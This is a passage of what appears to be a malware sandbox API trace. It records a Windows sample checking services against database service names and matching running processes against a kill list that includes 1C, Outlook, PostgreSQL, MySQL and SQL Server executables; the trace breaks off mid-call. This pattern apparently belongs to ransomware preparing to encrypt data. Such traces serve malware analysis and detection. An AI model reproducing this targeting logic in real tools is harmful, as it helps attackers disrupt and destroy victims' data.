[0061.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.250] lstrlenW (lpString="nsi") returned 3 [0061.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.250] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.251] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.251] lstrlenW (lpString="PcaSvc") returned 6 [0061.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.251] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.251] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.251] lstrlenW (lpString="PlugPlay") returned 8 [0061.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.251] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.251] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.251] lstrlenW (lpString="Power") returned 5 [0061.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.251] lstrlenW (lpString="ProfSvc") returned 7 [0061.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.251] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.251] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0061.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.251] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.251] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.251] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.251] lstrlenW (lpString="RpcSs") returned 5 [0061.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.251] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0061.252] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.252] lstrlenW (lpString="SamSs") returned 5 [0061.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.252] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.252] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.252] lstrlenW (lpString="Schedule") returned 8 [0061.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.252] lstrlenW (lpString="SENS") returned 4 [0061.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.252] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.252] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.252] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.252] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.252] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.252] lstrlenW (lpString="Spooler") returned 7 [0061.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.252] lstrlenW (lpString="swprv") returned 5 [0061.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0061.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0061.253] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0061.253] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0061.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0061.253] lstrlenW (lpString="SysMain") returned 7 [0061.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0061.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0061.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0061.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0061.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0061.253] lstrlenW (lpString="Themes") returned 6 [0061.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0061.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0061.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0061.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0061.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0061.253] lstrlenW (lpString="TrkWks") returned 6 [0061.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0061.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0061.253] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0061.253] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0061.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0061.253] lstrlenW (lpString="UxSms") returned 5 [0061.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0061.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0061.253] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0061.253] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0061.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0061.253] lstrlenW (lpString="VSS") returned 3 [0061.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0061.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0061.253] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0061.253] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0061.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0061.253] lstrlenW (lpString="WdiServiceHost") returned 14 [0061.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.253] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0061.253] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0061.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0061.254] lstrlenW (lpString="WdiSystemHost") returned 13 [0061.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.254] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0061.254] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0061.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0061.254] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0061.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.254] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0061.254] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0061.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0061.254] lstrlenW (lpString="Winmgmt") returned 7 [0061.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0061.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0061.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0061.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0061.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0061.254] lstrlenW (lpString="WPDBusEnum") returned 10 [0061.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.254] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0061.254] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0061.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0061.254] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0061.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x230 [0061.256] Process32FirstW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.257] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.257] lstrlenW (lpString="System") returned 6 [0061.257] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0061.257] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0061.257] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0061.257] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0061.257] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0061.257] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0061.257] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0061.257] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.258] lstrlenW (lpString="smss.exe") returned 8 [0061.258] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0061.258] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0061.258] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0061.258] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0061.258] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0061.258] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0061.258] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0061.258] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.259] lstrlenW (lpString="csrss.exe") returned 9 [0061.259] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0061.259] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0061.259] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0061.259] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0061.259] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0061.259] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0061.259] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0061.259] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.259] lstrlenW (lpString="wininit.exe") returned 11 [0061.259] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0061.259] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0061.259] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0061.259] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.260] lstrlenW (lpString="csrss.exe") returned 9 [0061.260] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.260] lstrlenW (lpString="winlogon.exe") returned 12 [0061.260] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.261] lstrlenW (lpString="services.exe") returned 12 [0061.261] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.261] lstrlenW (lpString="lsass.exe") returned 9 [0061.261] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0061.262] lstrlenW (lpString="lsm.exe") returned 7 [0061.262] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.262] lstrlenW (lpString="svchost.exe") returned 11 [0061.262] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.263] lstrlenW (lpString="svchost.exe") returned 11 [0061.263] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.263] lstrlenW (lpString="svchost.exe") returned 11 [0061.263] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.264] lstrlenW (lpString="svchost.exe") returned 11 [0061.264] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.264] lstrlenW (lpString="svchost.exe") returned 11 [0061.264] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0061.265] lstrlenW (lpString="audiodg.exe") returned 11 [0061.265] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.265] lstrlenW (lpString="svchost.exe") returned 11 [0061.265] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.266] lstrlenW (lpString="svchost.exe") returned 11 [0061.266] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.266] lstrlenW (lpString="dwm.exe") returned 7 [0061.266] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0061.267] lstrlenW (lpString="explorer.exe") returned 12 [0061.267] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0061.267] lstrlenW (lpString="spoolsv.exe") returned 11 [0061.267] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.268] lstrlenW (lpString="taskhost.exe") returned 12 [0061.268] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.268] lstrlenW (lpString="svchost.exe") returned 11 [0061.268] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0061.269] lstrlenW (lpString="taskeng.exe") returned 11 [0061.269] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.269] lstrlenW (lpString="taskhost.exe") returned 12 [0061.269] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0061.270] lstrlenW (lpString="br_maintaining.exe") returned 18 [0061.270] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0061.270] lstrlenW (lpString="kitsenormous.exe") returned 16 [0061.270] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0061.271] lstrlenW (lpString="intermediate-components.exe") returned 27 [0061.271] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0061.271] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0061.271] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0061.272] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0061.272] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0061.272] lstrlenW (lpString="stupid.exe") returned 10 [0061.272] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0061.273] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0061.273] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0061.273] lstrlenW (lpString="addition.exe") returned 12 [0061.273] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0061.274] lstrlenW (lpString="kept retirement.exe") returned 19 [0061.274] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0061.274] lstrlenW (lpString="lmmold.exe") returned 10 [0061.274] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0061.274] lstrlenW (lpString="soma weighted.exe") returned 17 [0061.275] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0061.275] lstrlenW (lpString="cartridge donation.exe") returned 22 [0061.275] Process32NextW (in: 